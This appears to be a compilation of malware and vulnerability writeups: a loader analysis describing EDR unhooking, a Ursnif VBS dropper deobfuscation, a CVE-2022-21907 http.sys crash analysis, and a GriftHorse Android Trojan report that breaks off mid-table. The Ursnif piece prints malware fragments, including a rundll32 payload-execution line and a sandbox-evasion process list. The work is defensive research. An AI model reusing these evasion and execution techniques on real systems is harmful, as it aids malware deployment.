Traffic Client Parameters: - client-id - group_name - sys_version - User name - client_version ### Inbound Traffic Commands received by the compromised system: - response_status - tasks ### Commands Supported The task field in the C2 response will contain one of the following commands: - dex: Downloads executable - sdl: Kill Loader - ins: Persistence - dij: DLL inject ## A Tale of Bundled DLLs and Hooks The core payload comes with two DLLs embedded in the binary. The purpose and function of both the DLLs are the same, but one is 32 bit and the other is 64 bit. These are used to perform further hooking and control flow manipulations. ### DLL Signatures (SHA256) - 32 bit: B9534DDEA8B672CF2E4F4ABD373F5730C7A28FE2DD5D56E009F6E5819E9E9615 - 64 bit: 1333CC4210483E7597B26042B8FF7972FD17C23488A06AD393325FE2E098671B In this section, we will look into the inner workings of the embedded 32 bit DLL. The module looks for a specific set of functions in ntdll.dll, kernel32.dll, kernelbase.dll, and advapi32.dll to later remove any hooks present in the code. This will also remove any EDR/AV (Endpoint Detection and Response/ Antivirus) implemented hooks used for monitoring. ### The Unhooking Mechanism The unhooking process involves the following steps: - The module retrieves handles to target DLLs via the GetModuleHandleW API. The handle returned by the API is for the DLL loaded in the memory by the malware process, i.e., the process responsible for executing the Bumble loader, which is rundll32.exe. - Then the malware constructs the absolute path for target DLLs via the LetSystemDirectoryA API, to access the system32 directory, where all system DLLs are located. - A pointer to NtProtectVirtualMemory is computed following the DLL path generation. - Function sub_10005B90 is called to do the unhooking. Function sub_10005B90 performs the following operations: - Maps fresh copy of the target DLL from the hard disk to address space of the malware process via functions CreateFileA, CreateFileMappingA, and MapViewOfFile. - Calls function sub_10005D40 to perform unhooking. The logic used for unhooking is straightforward. The malware compares the target function in the loaded module in memory against the function defined in the mapped module via MapViewOfFile. If both the codes don’t match, the content from the mapped module is written to the loaded module, to restore the state to that of the mapped version from the hard disk. The malware goes through the exports of the loaded DLL and performs a string match against the set of function names stored as an array in a loop. The sub_10005930 is responsible for string matching. When the function name in the array of the malware matches the exported function from the loaded module, the flag is set to [v8] and breaks from the loop. This occurs in the following steps: - The malware stores the addresses of functions from both modules (loaded and mapped). - Then the loaded and mapped function codes are checked for hooks, by identifying dissimilarities in the code. If the loaded code is the same as the mapped one, it breaks from the loop and continues to iterate through the remaining functions. If the loaded code is not the same as the mapped code, then the following operations are performed by the malware for unhooking: - VirtualQueryEx API is called to retrieve the base address of the page containing the target function. - Then NtProtectVirtualMemory API is used for changing permissions of the page containing the function code (READ_WRITE_EXECUTE). - VirtualQuery is used again to check for permission; whether the page is writable or not. - Function sub_10005890 is called to restore the loaded module with the contents of the mapped module. Now the functions in the mapped and loaded modules are in the same state. After clearing all the hooks in the selected functions, the malware installs hooks. Functions RaiseFailFastException from kernel32.dll and api-ms-win-core-errorhandling-l1-1-2.dll are hooked. Then the detour function sub_100057F0 hijacks the control flow when the above functions are called by the system after hooking is done by the malware. The embedded DLL has a hooking strategy similar to that of the Bumblebee loader. Various functions used by the system, while loading a DLL module, are hooked and wups.dll is loaded to trigger the chain. ### Target API and Detour Function | Target API | Detour Function | |------------------------------|------------------| | ZwMapViewOfSection | sub_10004C50 | | ZwOpenSection | sub_10004FF0 | | ZwCreateSection | sub_10004BC0 | | ZwOpenFile | sub_10004F20 | ## Code Upgrades In The Wild After analyzing many samples in the wild, we observed code modifications in the loader. The extreme left sample in the image above is the one we have covered in this report. As we can see from the logic flow of the loader, the malware developer has modified the loader code in the other two samples. All the samples observed in the wild are 64 bit DLL modules with an exported function that has a randomly generated string as the function name. This can be justified by the fact that code plays a major role in whether the malware is detected by security products. To circumvent this hurdle, malware developers make changes to the code and the malware design. Newer loader samples in the wild contain various payloads, such as CobaltStrike beacons and Meterpreter shells, unlike the custom Bumblebee payload seen in the first generation. ## Indicators of Compromise (IoCs) - **Binary**: f98898df74fb2b2fad3a2ea2907086397b36ae496ef3f4454bf6b7125fc103b8 - **IPv4**: 45.147.229.23:443 ## Author Details **Anandeshwar Unnikrishnan** Threat Intelligence Researcher, CloudSEK Anandeshwar is a Threat Intelligence Researcher at CloudSEK. He is a strong advocate of offensive cybersecurity. He is fuelled by his passion for cyber threats in a global context. He dedicates much of his time on Try Hack Me/ Hack The Box/ Offensive Security Playground. He believes that “a strong mind starts with a strong body.” When he is not gymming, he finds time to nurture his passion for teaching. He also likes to travel and experience new cultures.
# Having fun with a Ursnif VBS dropper I recently stumbled across an interesting sample that was delivered as part of an encrypted zip archive via a Google-Drive link. The password for the archive was sent by email together with the Google-Drive link. Since the sample runs only partially in some sandboxes and it’s not even starting in others, I took a closer look at it. The sample can be found on VirusTotal and there are still only ten detections so far (even though it’s on VT for two months now). `fd490c7b728af08052cf4876c1fc8c6e290bde368b6343492d60fc9d8364a7e5 - aPsYyn8Rw2Xf.vbs` Looking at the file extension, you could already guess it’s a Visual Basic Script file, which however appears unusually large. Due to the size, the actual payload is most probably somehow hidden in the VBS file so let's have a look into the file. ## Deobfuscation Scrolling through the file we see lots of useless comments, some array definitions, some constant definitions and a for loop. To get rid of all the useless code, I wrote a quick and dirty Python tool to remove all the junk code and convert the remaining code to Python for easier analysis. Since the constant and array definitions are mixed up in the code, we have to restructure them. I moved all const definitions to the beginning followed by the array definitions, the function calls and everything else at the end. ```python f = open("aPsYyn8Rw2Xf.vbs", "r") const_lines = [] array_lines = [] execute_lines = [] loop_lines = [] everything_else = [] for line in f: if not (line.startswith("'") or line.startswith("REM")): if "const" in line: const_lines.append(line.replace("const", "").replace("\n", "").replace(" ", "")) elif "Array(" in line: array_lines.append(line.replace("Array(", "["). replace(")", "]").replace("\n", "").strip()) elif "Execute" in line: execute_lines.append(line.replace("Execute", "print").replace("\n", "").strip()) elif line.startswith("for"): loop_lines.append(line.replace("\n", "").strip()) else: everything_else.append(line.replace("\n", "")) for item in const_lines: print(item) for item in array_lines: print(item) for item in execute_lines: print(item) for item in loop_lines: print(item) for item in everything_else: if len(item) > 0: print(item) ``` After running the Python script, we will get a new cleaned up code which is almost runnable in Python. At the end we can spot a function `kuHKE()` which is called several times and is taking an array as an argument. This is most probably the function which is used for decoding all the arrays. Another thing here to mention are the function calls at the end of the cleaned code. Those will be relevant later when we have the final deobfuscated code. So let’s rewrite the `kuHKE()` function into Python and remove the function calls at the end. ```python def kuHKE(EUnWxs): result = "" for Mali842 in EUnWxs: result += chr(Mali842 - ((26 + 30) - ((17 - 1) + 35))) return result ``` After executing the cleaned code, we still get a little bit of obfuscated code but since it’s not very much, we can easily do it manually. So the final deobfuscated but still not annotated code can be found here. I will break it down into the most interesting things since it will be too much otherwise. ## Analysis The sample contains several anti-sandbox tricks and uses WMI and WSH objects to perform them. If one of those anti-sandbox tricks succeed, the script will call a clean up routine which looks as follows (I have annotated the function accordingly for better readability): ```vb Function clean_up_routine() send_http_get_request("none") delete_itself print_fake_message WScript.Quit End Function ``` It’s sending a HTTP GET request to `none` (for whatever reason), deleting itself and showing a fake error message in a message box. In the following, I explain the functions in the order in which they are called. 1. **Anti Sandbox - Check physical space** The first function `NoSkh()` is calling the clean up routine when the file `%USERPROFILE%\Downloads\614500741.txt` is already there or when your TotalPhysicalMemory is smaller than 1GB. 2. **Anti Sandbox - Check Disk space** If your TotalPhysicalMemory is bigger than 1GB, the next function `vgdKyGt()` is called which is terminating the script if your total disk space is smaller than 60GB. 3. **Anti Sandbox - Check country code** When the first two anti-sandbox checks were not successful, the next function `ULLhsI()` is called. It checks your configured country code at `"HKEY_CURRENT_USER\Control Panel\International\Geo\Nation"`. If your nation key is configured to `203`, which is Russia, the script is terminating with its clean up routine. Otherwise it will proceed. 4. **Anti Sandbox - Check LastBootUpTime** The next function `OUbPa()` checks how long your machine is already running. Therefore, it’s checking the LastBootUpTime via WMI and if it’s less than 10 minutes, it will terminate calling its clean up routine. 5. **Anti Sandbox - Check Processes** Since the malware does not want to run on an analyst system the function `confidante615()` is checking for specific processes from analysis tools. ```vb rZRjk = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","proc") ``` If there is such a process, it’s terminating with its clean up routine. Additionally, it will terminate if there are less than 28 processes running on the system. Finally, the next function `qlqDsdN()` is terminating if the file `%TEMP%\microsoft.url` exists. If not, it creates a shortcut file `%TEMP%\adobe.url` which points to `https://adobe.com` (No idea why. If someone knows, please tell me. Maybe a red herring but nobody is looking into the %TEMP% folder, so why!?). The function `WjwMtT()` is making use of the before mentioned `kuHKE()` function to write a large byte array to a zip file `%TEMP%\Monica.zip`. Inside `Monica.zip`, there are three files: - `accouter.dxf` (the final payload) - `inhibitory.tif` (contains part of a string which may be used from `accouter.dfx`) - `isolate.woff` (the other part of a string which may be used from `accouter.dfx`) `bluish578()` copies the three items of `Monica.zip` into `%TEMP%`, deletes `Monica.zip` and `gMcKFIz()` finally executes the file `accouter.dxf` which was before copied from `Monica.zip` into `%TEMP%`. Execution is performed via `rundll32`: ```vb sXmEKs.Create "rundll32" + " " + Get_Temp_Folder + "accouter.dxf" + ",DllRegisterServer" ``` The dropped file `accouter.dfx` can be found on VT and it seems like its Ursnif. ## IOCs - `fd490c7b728af08052cf4876c1fc8c6e290bde368b6343492d60fc9d8364a7e5` - `%TEMP%\adobe.url` - `%TEMP%\Monica.zip` - `%TEMP%\accouter.dfx` - `%TEMP%\inhibitory.tif` - `%TEMP%\isolate.woff` - `ed7d22c2f922df466fda6914eb8b93cc27c81f16a60b7aa7eac9ca033014c22c`
# Analysis of Microsoft CVE-2022-21907 On January 11th, 2022 Microsoft released a patch for CVE-2022-21907 as part of Microsoft’s Patch Tuesday. CVE-2022-21907 attracted special attention from industry insiders due to the claim that the vulnerability is worm-able. In this analysis, we will look at the cause of the vulnerability and how attackers can exploit it. **Affected Platforms:** Windows Server 2022, Windows Server 2019, Windows 10 **Impacted Users:** Any organization with affected Windows system **Impact:** Denial of service to affected systems **Severity Level:** High CVE-2022-21907 is a remote code execution vulnerability in Windows’ Internet Information Services (IIS) component. More specifically, it affects the kernel module inside http.sys that handles most of the IIS core operations. At a minimum, the vulnerability can lead to denial of service conditions on the victim’s machine by crashing the operating system. It might also be possible to combine this vulnerability with another vulnerability to enable remote code execution. We used Windows 2022 Server 10.0.20348.143 as the base of our analysis. IIS is also present on Windows 10. We also looked at the Windows 10 (2H 2021) http.sys and confirmed that the same vulnerable code path exists. However, since IIS is not enabled by default on Windows 10, the chance of Windows 10 systems being exploited is significantly less. First, we performed a binary differential between the vulnerable http.sys and the patched http.sys (10.0.20348.469). The program Bindiff compared the two binary files and highlighted the functions that have been modified. While a few functions were heavily modified, we were interested in two particular functions—http!UlpAllocateFastTracker() and http!UlFastSendHttpResponse(). In http!UlpAllocateFastTracker(), we see the following differences: One curious thing to note is that memset() is called twice to zero out the buffer: once for a hardcoded first 0x1e0 bytes of the buffer, and the other starting at 0x2e for 0x50 bytes. The difference between these two memset() calls is that memset(0x1e0) is for a freshly allocated buffer from nt!ExAllocatePool3(), and memset(0x50) is for buffers from both nt!ExAllocatePool3() and ExpInterlockedPopEntrySList(). If we only look at the modifications to http!UlpAllocateFastTracker(), we can deduce that the non-zero entries in the buffer (let’s call it a Tracker) might cause some unpleasant side effects. Furthermore, since the buffer can be allocated directly from nt!ExAllocatePool3(), if the system is experiencing memory pressure it’s possible to spray attacker-controlled data into the memory and have the attacker-controlled data show up in the newly-minted Tracker buffer. The fact that memset() is called twice to the same Tracker buffer is also curious. Apparently, the developer felt that it was necessary to zero-out a particular segment of the Tracker (from 0x2E-0x7E), even if the buffer was retrieved from a LookAside link list (where the initial allocation would have already zeroed out all the attacker-controlled data). This means that whatever non-zero value that triggers the bug, it should be inside the 0x2e-0x7e part of the Tracker structure. At this point, we have a few ideas we can try. First, we need to know under what conditions http!UlpAllocateFastTracker() would be called. This turns out to be very easy to determine. A single command in Ghidra (Find References to UlpAllocateFastTracker) or IDA (Jump to xref) both show that only one function in http.sys could call UlpAllocateFastTracker(). After writing some python scripts blasting HTTP requests to IIS, we determined that http!UlFastSendHttpResponse() does what its name suggests—the function is responsible for sending an HTTP response back to the client. The Tracker object we saw earlier is a structure that keeps track of various states and pointers related to that response. When we snoop around, we can even find the response data in one of the pointers. After we determined how to access the initialization code, we decided to ‘help’ the exploit by pre-writing a non-zero value to Tracker. Using Windbg, pykd, and some python scripting, we managed to inject pre-determined values into the part of Tracker that are likely to be affected before http!UlpAllocateFastTracker() returns. Sadly, no matter how much we ran our ‘fuzzer’, the test system remained stable and responsive. We did, however, notice that most of the calls to http!UlpAllocateFastTracker() were from UlFastSendHttpResponse+0x2F0 (>90%), and only a few allocation calls were made from UlpAllocateFastTracker+0xe99. We did a bindiff on http!UlFastSendHttpResponse() on Windows 10’s http.sys and there’s a gigantic code change. At this point, we were unable to trigger the crash so we took to Twitter to look for a POC. ## The Crash Armed with a new PoC, we resumed our analysis (this time on the Windows 2022 Server) and we soon discovered the cause of the crash that was being patched. The crash happens at the end of the cleanup phase of http!UlFastSendHttpResponse(), with a call to nt!MmUnmapLockedPages() that tries to access invalid memory. According to Microsoft, nt!MmUnmapLockedPages() is a Windows kernel routine that releases a mapping between a virtual memory address and a physical memory address. The mapping is described by a kernel structure called the Memory Descriptor List (MDL). When we set a breakpoint on the call to nt!MmUnmapLockedPages() we started to see all sorts of invalid memory addresses being passed in as the BaseAddress (virtual memory address). But now the question became, what did the PoC do differently to trigger the vulnerability? To get to the bottom of this, we needed to decompile http!UlFastSendHttpResponse() and look at the code. We were able to immediately make some guesses. We could see that the pointer v19 is freed by UlpFreeFastTracker(). This told us that v19 is the pointer to the Tracker buffer. Indeed, when we scrolled up and checked the two calls to http!UlpAllocateFastTracker(), we could see that v19 is the return value from that function. At the same time, we knew the second argument for MmUnmapLockedPages() is the MDL struct. If we check the definition of MDL (http.sys uses an internal struct definition of MDL, but it’s the same as the kernel’s), we could see that the 0x00a field is the MdlFlags, and that the routine checked to see if the flag’s 0th bit is 1. Finally, the 0x018 (24 in decimal) field is the MappedSystemVa. As an aside, according to wdm.h from Windows SDK, 0x0001 is MDL_MAPPED_TO_SYSTEM_VA, ie. the memory mapping described by this MDL is valid. With these two pieces of information, we were able to construct the pseudo-code. So, looking back at our initial guess, it was pretty good. We guessed that Tracker’s 0x2e-0x7e needed to be non-zero, and indeed, the 0x50 pointer does have to be non-zero for this if statement to go through. So now, we have four new questions, ranked from the most to the least obvious: 1. Can we control the ‘some_mdl’ MDL struct data? 2. What is Tracker->member_0x50? 3. Why can the PoC reach this code when our driver couldn’t? 4. Is remote code execution possible? ### Can we control the ‘some_mdl’ MDL struct data? It turns out that, yes, the attacker does have control of the bytes in the MDL in certain situations! We went back to http!UlpAllocateFastTracker() and stepped through every single line of instruction, and while there are multiple MDL pointers in Tracker, the MDL at offset 0x80 is never initialized. The allocation routine simply picks sequential memory spaces after Tracker’s struct location and has the Tracker’s MDL pointers point to these addresses. This makes sense, as when nt!ExAllocatePool3() is called, the bytes requested are much larger than the deduced size of the Tracker struct (Remember that the patched memset() only writes 0s to the first 0x1e0 of the buffer.) We know that 0x68, 0x70, 0x88, and 0x80 are all MDL pointers (via IDA heuristics), but only 0x68 is initialized with MmBuildMdlForNonPagedPool() in the initialization routine. Once control is returned to http!UlFastSendHttpResponse(), additional MDLs are eventually initialized. However, the PoC discovered a code path where the initialization is skipped, with disastrous consequences. ### What is Tracker->member_0x50? We tried to dive deeper into the code to figure out what member_0x50 does, but the object is created outside of http!UlFastSendHttpResponse(), and was passed-by-reference to the routine as a pointer argument. Since the code assumes that if member_0x50 is valid then some_mdl should also be valid, perhaps the MDL’s memory range is the backing storage for member_0x50, and both elements should be valid (or be invalid) together. During our testing, however, the argument that leads to member_0x50 is always null with both our driver and the PoC. We decided to leave it at that. ### Why can the PoC reach this code when our driver couldn’t? As mentioned before, we need the execution to take a path that would not initialize some_mdl. The PoC takes advantage of this by sending identical malformed HTTP packets in quick succession. There are two calls to http!UlpAllocateFastTracker(). The first call is used more than 90% of the time. Once the Tracker structure is allocated, http!UlFastSendHttpResponse() takes over and continues the struct initialization process. Most importantly, during the process the member_0x50 element is zeroed out, thus ensuring the bug would never be executed during normal execution. However, when IIS receives multiple malformed packets in quick succession, a different code path is taken. According to our code analysis, IIS eventually abandons its (our guess) caching mechanisms. In particular, while the first call to http!UlpAllocateFastTracker() still happens, the allocated Tracker structure is quickly deallocated. We are not sure why, but during the first call, a single value at Tracker->0x148 changes from 0x14 (in previous calls) to 0x0, which causes the new Tracker structure to be deallocated, and a call to http!UlpAllocateFastTracker() is made with a different second argument. After the second allocation, a call is made to http!UlGenerateFixedHeaders(). However, the call is cut short. The sixth argument to http!UlGenerateFixedHeaders()—the same 0x0 (normally 0x200) variable as the allocation call, causes an early check fail, resulting in an error code 0xC000000D and a quick return. After the routine returns with the error code, the execution skips most of the http!UlFastSendHttpResponse() and goes straight to cleanup phase. As part of the cleanup, the vulnerable call to nt!MmUnmapLockedPages() is made, and the system crashes. As we said earlier, a malformed HTTP packet is needed to trigger this bug. We then wondered if other forms of malformed HTTP packets would also work. To our surprise, almost all our test samples would crash the system. This poses a serious issue as there are potentially many ways to attack the victim system. ### Is remote code execution possible? Since we have control of mapping any attacker-controlled memory, there is a risk of remote code execution. Constructing such a remote code execution, however, would require more research into what the Tracker fields do. The attacker would need to spray the memory with fake MDLs and fake Tracker pointers (this might require another vulnerability that leaks the kernel address info) or take advantage of the fact that there are other fields in Tracker that are also not initialized properly. We tried to combine the PoC with our driver program to spray the kernel memory with attacker-controlled data. However, the probability of the sprayed content being reallocated again and showing up in the vulnerable code is rather low; A successful remote code execution chain might require a more accurate way to spray the memory. Based on this analysis, we at FortiGuard have modified our IPS signatures to account for potential malicious traffic. ## Conclusion Due to the claim that the CVE is wormable, initially there were concerns that CVE-2022-21907 could potentially have a high impact. However, the combination that IIS is seldom enabled on Windows 10, and the fact that the attacker does not have a direct way to create read or write primitives into kernel memory, lessen the risk somewhat. ### Fortinet Protections FortiGuard IPS protects against all known exploits associated with the CVE with the following signature: **MS.Windows.HTTP.Protocol.Stack.CVE-2022-21907.Code.Execution** However, due to the unpredictable nature of malformed HTTP packets, we strongly urge organizations to apply the corresponding patches as quickly as possible to avoid service disruption. FortiGuard Labs will continue to monitor the CVE and apply new countermeasures when necessary.
# GriftHorse Android Trojan Steals Millions from Over 10 Million Victims Globally With the increase of mobile device use in everyday life, it is no surprise to see cybercriminals targeting these endpoints for financial crimes. Zimperium zLabs recently discovered an aggressive mobile premium services campaign with upwards of 10 million victims globally, and the total amount stolen could be well into the hundreds of millions of Euros. While typical premium service scams take advantage of phishing techniques, this specific global scam has hidden behind malicious Android applications acting as Trojans, allowing it to take advantage of user interactions for increased spread and infection. These malicious Android applications appear harmless when looking at the store description and requested permissions, but this false sense of confidence changes when users get charged month over month for the premium service they get subscribed to without their knowledge and consent. The Zimperium zLabs researchers discovered this global premium services Trojan campaign through a rise in specific alerts from our z9 on-device malware detection engine, which detected and reported the true nature of these malicious Android applications. Forensic evidence of this active Android Trojan attack, which we have named GriftHorse, suggests that the threat group has been running this campaign since November 2020. These malicious applications were initially distributed through both Google Play and third-party application stores. Zimperium zLabs reported the findings to Google, who verified the provided information and removed the malicious applications from the Google Play store. However, the malicious applications are still available on unsecured third-party app repositories, highlighting the risk of sideloading applications to mobile endpoints and user data and needing advanced on-device security. **What can the GriftHorse Android Trojan do?** The mobile applications pose a threat to all Android devices by functioning as a Trojan that subscribes unsuspecting users to paid services, charging a premium amounting to around 36 Euros per month. The campaign has targeted millions of users from over 70 countries by serving selective malicious pages to users based on the geo-location of their IP address with the local language. This social engineering trick is exceptionally successful, considering users might feel more comfortable sharing information to a website in their local language. Upon infection, the victim is bombarded with alerts on the screen letting them know they had won a prize and needed to claim it immediately. These pop-ups reappear no less than five times per hour until the application user successfully accepts the offer. Upon accepting the invitation for the prize, the malware redirects the victim to a geo-specific webpage where they are asked to submit their phone numbers for verification. But in reality, they are submitting their phone number to a premium SMS service that would start charging their phone bill over €30 per month. The victim does not immediately notice the impact of the theft, and the likelihood of it continuing for months before detection is high, with little to no recourse to get one’s money back. These cybercriminals took great care not to get caught by malware researchers by avoiding hardcoding URLs or reusing the same domains and filtering/serving the malicious payload based on the originating IP address’s geolocation. This method allowed the attackers to target different countries in different ways. This check on the server-side evades dynamic analysis checking for network communication and behaviors. Overall, GriftHorse Android Trojan takes advantage of small screens, local trust, and misinformation to trick users into downloading and installing these Android Trojans, as well as frustration or curiosity when accepting the fake free prize spammed into their notification screens. **How does the GriftHorse Android Trojan work?** The Trojans are developed using the mobile application development framework named Apache Cordova. Cordova allows developers to use standard web technologies – HTML5, CSS3, and JavaScript for cross-platform mobile development. This technology enables developers to deploy updates to apps without requiring the user to update manually. While this framework should provide the user a better experience and security, the very same technology can be abused to host the malicious code on the server and develop an application that executes this code in real-time. The application displays as a web page that references HTML, CSS, JavaScript, and images. Upon installation and launch of the application, the encrypted files stored in the “assets/www” folder of the APK are decrypted using “AES/CBC/PKCS5Padding”. After decryption, the file index.html is then loaded using the WebView class. The core functionality source code lies in the js/index.js file that calls onDeviceReady function which adds “Google Advertising ID (AAID) for Android devices” to appConf. The data structure appConf is populated with AppsFlyerUID collected after initializing AppsFlyer (React Native AppsFlyer plugin) using the devKey. Following necessary checks, the program control is given to GetData(). The GetData() function handles the communication between the application and the C&C server by encrypting an HTTP POST request with the value of appConf. The request and response network communication with the server can be seen in the following screenshots, where the parameter “d” is the encrypted ciphertext of appConf. The received encrypted response is decrypted using AES to collect the second-stage C&C URL and executes a GET request using Cordova’s InAppBrowser. The configuration for pushing the notifications is received in the response and displayed every one hour for five times. The motive of this repetitive notification pushing is to grab the user’s attention and navigate to the application. The second-stage C&C domain is always the same irrespective of the application or the geolocation of the victim, and the GET request to this server navigates the browser to the third-stage URL. The third-stage URL displays the final page asking for the victim’s phone number and subscribes to several paid services and premium subscriptions. The JavaScript code embedded in the page is responsible for the malicious behavior of the application due to the interaction between the Web and Mobile resources. Some examples of the displayed page and the malicious JS codes are shown below. There are two variants of the campaign differing by the interaction with the victim: - **First Variant:** Displays a “Continue” or “Click” Button, clicking on which initiates an SMS sending action. - **Second Variant:** Requests the victim’s phone number to be entered and registered with the server’s backend. Then the malicious behavior is the same as the first variant. The interaction between the WebPage and the in-app functions is facilitated by the JavaScript Interface, which allows JavaScript code inside a WebView to trigger actions in the native (application) level code. This can include the collection of data about the device, including IMEI, and IMSI among others. **The GriftHorse Threat Actors** The GriftHorse campaign is one of the most widespread campaigns the zLabs threat research team has witnessed in 2021, attributing its success to the rarely seen combination of features: - Completely undetected and reported by any other AV vendors. - More than 200 Trojan applications were used in the campaign. - Sophisticated architecture preventing the investigation of the extent of this campaign. - No-Reuse policy to avoid the blocklisting of strings. The level of sophistication, use of novel techniques, and determination displayed by the threat actors allowed them to stay undetected for several months. In addition to a large number of applications, the distribution of the applications was extremely well-planned, spreading their apps across multiple, varied categories, widening the range of potential victims. **The Victims of GriftHorse Trojan** The campaign is exceptionally versatile, targeting mobile users from 70+ countries by changing the application’s language and displaying the content according to the current user’s IP address. Based on the collected intel, GriftHorse has infected over 10 million victim’s devices in the last few months. The cybercriminal group behind the GriftHorse campaign has built a stable cash flow of illicit funds from these victims, generating millions in recurring revenue each month with the total amount stolen potentially well into the hundreds of millions. Each of the victims is charged over €30 per month, leading to recurring financial loss until they manage to rectify the issue by contacting their SIM operator. The campaign has been actively under development for several months, starting from November 2020, and the last updated time dates back to April 2021. This means one of their first victims, if they have not shut off the scam, has lost more than €200 at the time of writing. The cumulative loss of the victims adds up to a massive profit for the cybercriminal group. **Zimperium vs. GriftHorse Android Trojan** Zimperium zIPS customers are protected against GriftHorse Trojan with our on-device z9 Mobile Threat Defense machine learning engine. To ensure your Android users are protected from GriftHorse Trojan, we recommend a quick risk assessment. Any application with GriftHorse will be flagged as a Suspicious App Threat on the device and in the zConsole. Admins can also review which apps are sideloaded onto the device that could be increasing the attack surface and leaving data and users at risk. **Summary of GriftHorse Android Trojan** The threat actors have exerted substantial effort to maximize their presence in the Android ecosystem through a large number of applications, developer accounts, and domains. The Zimperium zLab researchers have noticed the technique of abusing cross-platform development frameworks to stay undetected has been on the rise, making it more difficult for legacy mobile AV providers to detect and protect their customers. The timeline of the threat group dates back to November 2020, suggesting that their patience and persistence will probably not come to an end with the closing down of this campaign. The threat to Android users will always be present, considering the innovative approaches used by malicious actors to infect the victims. The numerical stats reveal that more than 10 million Android users fell victim to this campaign globally, suffering financial losses while the threat group grew wealthier and motivated with time. And while the victims struggle to get their money back, the cybercriminals made off with millions of Euros through this technically novel and effective Trojan campaign. **Indicators of Compromise** **List of Applications** | Package Name | App Name | Min | Max | |----------------------------------------------|---------------------------------|----------------|----------------| | com.tra.nslat.orpro.htp | Handy Translator Pro | 500,000 | 1,000,000 | | com.heartratteandpulsetracker | Heart Rate and Pulse Tracker | 100,000 | 500,000 | | com.geospot.location.glt | Geospot: GPS Location Tracker | 100,000 | 500,000 | | com.icare.fin.loc | iCare – Find Location | 100,000 | 500,000 | | my.chat.translator | My Chat Translator | 100,000 | 500,000 | | com.bus.metrolis.s | Bus – Metrolis 2021 | 100,000 | 500,000 | | com.free.translator.photo.am | Free Translator Photo | 100,000 | 500,000 | | com.locker.tul.lt | Locker Tool | 100,000 | 500,000 | | com.fin.gerp.rint.fc | Fingerprint Changer | 100,000 | 500,000 | | com.coll.rec.ord.er | Call Recoder Pro | 100,000 | 500,000 | | instant.speech.translation | Instant Speech Translation | 100,000 | 500,000 | | racers.car.driver | Racers Car Driver | 100,000 | 500,000 | | slime.simu.lator | Slime Simulator | 100,000 | 500,000 | | keyboard.the.mes | Keyboard Themes | 100,000 | 500,000 | | whats.me.sticker | What’s Me Sticker | 100,000 | 500,000 | | amazing.video.editor | Amazing Video Editor | 100,000 | 500,000 | | sa.fe.lock | Safe Lock | 100,000 | 500,000 | | heart.rhy.thm | Heart Rhythm | 100,000 | 500,000 | | com.sma.spot.loca.tor | Smart Spot Locator | 100,000 | 500,000 | | cut.cut.pro | CutCut Pro | 100,000 | 500,000 | | com.offroaders.survive | OFFRoaders – Survive | 100,000 | 500,000 | | com.phon.fin.by.cl.ap | Phone Finder by Clapping | 100,000 | 500,000 | | com.drive.bus.bds | Bus Driving Simulator | 100,000 | 500,000 | | com.finger.print.def | Fingerprint Defender | 100,000 | 500,000 | | com.lifeel.scanandtest | Lifeel – scan and test | 100,000 | 500,000 | | com.la.so.uncher.io | Launcher iOS 15 | 100,000 | 500,000 | | com.gunt.ycoon.dle | Idle Gun Tycoon | 50,000 | 100,000 | | com.scan.asdn | Scanner App Scan Docs & Notes | 50,000 | 100,000 | | com.chat.trans.alm | Chat Translator All Messengers | 50,000 | 100,000 | | com.hunt.contact.ro | Hunt Contact | 50,000 | 100,000 | | com.lco.nylco | Icony | 50,000 | 100,000 | | horoscope.fortune.com | Horoscope : Fortune | 50,000 | 100,000 | | fit.ness.point | Fitness Point | 50,000 | 100,000 | | com.qub.la | Qibla AR Pro | 50,000 | 100,000 | | com.heartrateandmealtracker | Heart Rate and Meal Tracker | 50,000 | 100,000 | | com.mneasytrn.slator | Mine Easy Translator | 50,000 | 100,000 | | com.phone.control.blockspamx | PhoneControl Block Spam Calls | 50,000 | 100,000 | | com.paral.lax.paper.thre | Parallax paper 3D | 50,000 | 100,000 | | com.photo.translator.spt | SnapLens – Photo Translator | 50,000 | 100,000 | | com.qibl.apas.dir | Qibla Pass Direction | 50,000 | 100,000 | | com.caollerrrex | Caller-x | 50,000 | 100,000 | | com.cl.ap | Clap | 50,000 | 100,000 | | com.eff.phot.opro | Photo Effect Pro | 10,000 | 50,000 | | com.icon.nec.ted.trac.ker | iConnected Tracker | 10,000 | 50,000 | | com.smal.lcallrecorder | Smart Call Recorder | 10,000 | 50,000 | | com.hor.oscope.pal | Daily Horoscope & Life Palmestry| 10,000 | 50,000 | | com.qiblacompasslocatoriqez | Qibla Compass (Kaaba Locator) | 10,000 | 50,000 | | com.proo.kie.phot.edtr | Prookie-Cartoon Photo Editor | 10,000 | 50,000 | | com.qibla.ultimate.qu | Qibla Ultimate | 10,000 | 50,000 | | com.truck.roud.offroad.z | Truck – RoudDrive Offroad | 10,000 | 50,000 | | com.gpsphonuetrackerfamilylocator | GPS Phone Tracker – Family Locator| 10,000 | 50,000 | | com.call.recorder.cri | Call Recorder iCall | 10,000 | 50,000 | | com.pikcho.editor | PikCho Editor app | 10,000 | 50,000 | | com.streetprocarsracingss | Street Cars: pro Racing | 10,000 | 50,000 | | com.cinema.hall | Cinema Hall: Free HD Movies | 10,000 | 50,000 | | com.ivlewepapallr.bkragonucd | Live Wallpaper & Background | 10,000 | 50,000 | | com.in1.tel.ligent.trans.lt.pro | Intelligent Translator Pro | 10,000 | 50,000 | | com.aceana.lyzzer | Face Analyzer | 10,000 | 50,000 | | com.tueclert.ruercder | TrueCaller & TrueRecoder | 10,000 | 50,000 | | com.trans.lator.txt.voice.pht | iTranslator_ Text & Voice & Photo| 10,000 | 50,000 | | com.puls.rat.monik | Pulse App – Heart Rate Monitor | 10,000 | 50,000 | | com.vidphoremanger | Video & Photo Recovery Manager | 10,000 | 50,000 | | online.expresscredit.com | Быстрые кредиты 24/7 | 10,000 | 50,000 | | fit.ness.trainer | Fitness Trainer | 10,000 | 50,000 | | com.clip.buddy | ClipBuddy | 10,000 | 50,000 | | vec.tor.art | Vector arts | 10,000 | 50,000 | | ludo.speak.v2 | Ludo Speak v2.0 | 10,000 | 50,000 | | battery.live.wallpaperhd | Battery Live Wallpaper 4K | 10,000 | 50,000 | | com.heartrateproxhealthmonitor | Heart Rate Pro Health Monitor | 10,000 | 50,000 | | com.locatorqiafindlocation | Locatoria – Find Location | 10,000 | 50,000 | | com.gtconacer | GetContacter | 10,000 | 